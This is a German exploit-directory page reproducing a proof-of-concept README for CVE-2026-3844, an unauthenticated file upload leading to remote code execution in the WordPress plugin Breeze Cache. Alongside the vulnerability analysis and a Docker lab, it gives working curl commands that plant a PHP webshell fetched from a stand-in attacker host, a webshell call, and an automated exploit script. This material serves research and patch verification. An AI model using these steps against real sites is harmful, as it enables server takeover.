Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-3844 — # Proof-of-Concept-Exploit für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload, der zu Remote-Code-Ausführung in Breeze Cache <= 2.4.4 führt. Enthält Docker-Lab und automatisiertes Exploit-Skript. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-3844
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubdinosn/cve-2026-3844

CVE-2026-3844

# Proof-of-Concept-Exploit für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload, der zu Remote-Code-Ausführung in Breeze Cache <= 2.4.4 führt. Enthält Docker-Lab und automatisiertes Exploit-Skript.

Repository anzeigen
516vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-3844 — Breeze Cache <= 2.4.4 Nicht authentifizierter beliebiger Datei-Upload zu RCE

Überblick

FeldWert
CVECVE-2026-3844
CVSS9.8 Kritisch (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Uneingeschränkter Upload von Dateien mit gefährlichem Typ
PluginBreeze Cache von Cloudways
BetroffenAlle Versionen bis einschließlich 2.4.4
Behoben2.4.5 (Changeset 3511463)
Installationen400.000+ aktive WordPress-Installationen
Entdeckt vonHung Nguyen (bashu)
Offengelegt2026-04-23

Schwachstelle

Die Funktion fetch_gravatar_from_remote() in inc/class-breeze-cache-cronjobs.php lädt entfernte URLs herunter und speichert sie in einem über das Web zugänglichen Verzeichnis unter Verwendung des ursprünglichen Dateinamens und der Erweiterung aus der URL. Es gibt keine MIME-Typ-Validierung, keine Erweiterungs-Whitelist und keine Inhaltsprüfung.

Wenn die Einstellung „Host Files Locally - Gravatars" aktiviert ist, hängt das Plugin in den get_avatar-Filter von WordPress über breeze_replace_gravatar_image() ein. Diese Funktion verwendet einen regulären Ausdruck, um URLs aus srcset- und src-Attributen im Avatar-HTML zu extrahieren. Ein Angreifer kann ein bösartiges srcset-Attribut injizieren, indem er einen Kommentar mit einem manipulierten Autorennamen veröffentlicht, wodurch das Plugin veranlasst wird, eine beliebige PHP-Datei herunterzuladen und zwischenzuspeichern.

Verwundbarer Code

Verwundbarer Code in fetch_gravatar_from_remote()

Was fehlt:

  • Keine Prüfung, ob der heruntergeladene Inhalt ein Bild ist (MIME-Validierung)
  • Keine Einschränkung der Dateierweiterungen (.php, .phtml, .phar werden alle akzeptiert)
  • Keine Content-Type-Prüfung der HTTP-Antwort
  • Das Zielverzeichnis ist über das Web zugänglich und erlaubt die PHP-Ausführung

Angriffsablauf

Angreifer                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Kommentar gespeichert
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar-Filter wird ausgelöst
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extrahiert srcset-URL per Regex
   |                                        |    ruft fetch_gravatar_from_remote() auf
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHP-Dateiinhalt                |
   |         -----------------------------> |
   |                                        |  Gespeichert unter:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP wird als www-data ausgeführt
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Voraussetzungen

  1. Breeze-Plugin-Version <= 2.4.4 muss installiert und aktiv sein
  2. „Host Files Locally - Gravatars" muss aktiviert sein (standardmäßig deaktiviert, unter Einstellungen > Breeze > Erweitert)
  3. WordPress-Kommentare müssen bei mindestens einem Beitrag geöffnet sein
  4. Der Payload-Server des Angreifers muss vom WordPress-Server aus erreichbar sein

Docker-Lab-Einrichtung

Dieses PoC enthält eine eigenständige Docker-Umgebung mit:

  • WordPress 6.5 + Breeze 2.4.4 (verwundbar, mit aktiviertem Gravatar-Hosting)
  • MariaDB 10.11
  • Einem Python-HTTP-Server, der die PoC-Payload bereitstellt

Voraussetzungen

  • Docker und Docker Compose
  • Python 3.8+ mit requests (pip install requests)

1. Lab starten

cd docker/
docker compose up -d --build

~30 Sekunden warten, bis WordPress initialisiert ist. Überprüfen:

curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Erwartet: Stable tag: 2.4.4

2. Voraussetzungen überprüfen

Breeze-Version 2.4.4 bestätigt

Kommentare geöffnet, Gravatar-Hosting aktiviert

Die Docker-Einrichtung automatisiert:

  • Aktiviert „Host Files Locally - Gravatars" (breeze-store-gravatars-locally: 1)
  • Öffnet Kommentare bei Beiträgen
  • Deaktiviert die Kommentar-Moderation (für sofortige Ausnutzung)

Ausnutzung

Manuelle Schritte

Schritt 1 — Den bösartigen Kommentar veröffentlichen

curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Ersetzen Sie PAYLOAD_IP mit der IP des Payload-Containers:

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Erwartete Antwort: HTTP 302-Weiterleitung zur Beitragsseite.

Bösartiger Kommentar-POST

Schritt 2 — Avatar-Rendering auslösen

Rufen Sie die Beitragsseite auf, damit WordPress den Avatar des Kommentars rendert, wodurch der Breeze-get_avatar-Filter ausgelöst und die Payload heruntergeladen wird:

curl -s "http://localhost:8088/?p=1" > /dev/null

Das gerenderte HTML zeigt, dass Breeze das injizierte srcset extrahiert und die Payload zwischengespeichert hat:

Avatar-Rendering löst Payload-Abruf aus

Schritt 3 — Datei auf der Festplatte überprüfen

Die PHP-Payload wird unverändert geschrieben, im Besitz von www-data:

shell.php auf der Festplatte im Besitz von www-data

Schritt 4 — RCE bestätigen

RCE bestätigt — id, whoami, uname, /etc/passwd

Automatisiertes Exploit-Skript

cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Ausgabe des automatisierten Exploit-Skripts

Skript-Optionen

usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]
Tool herunterladen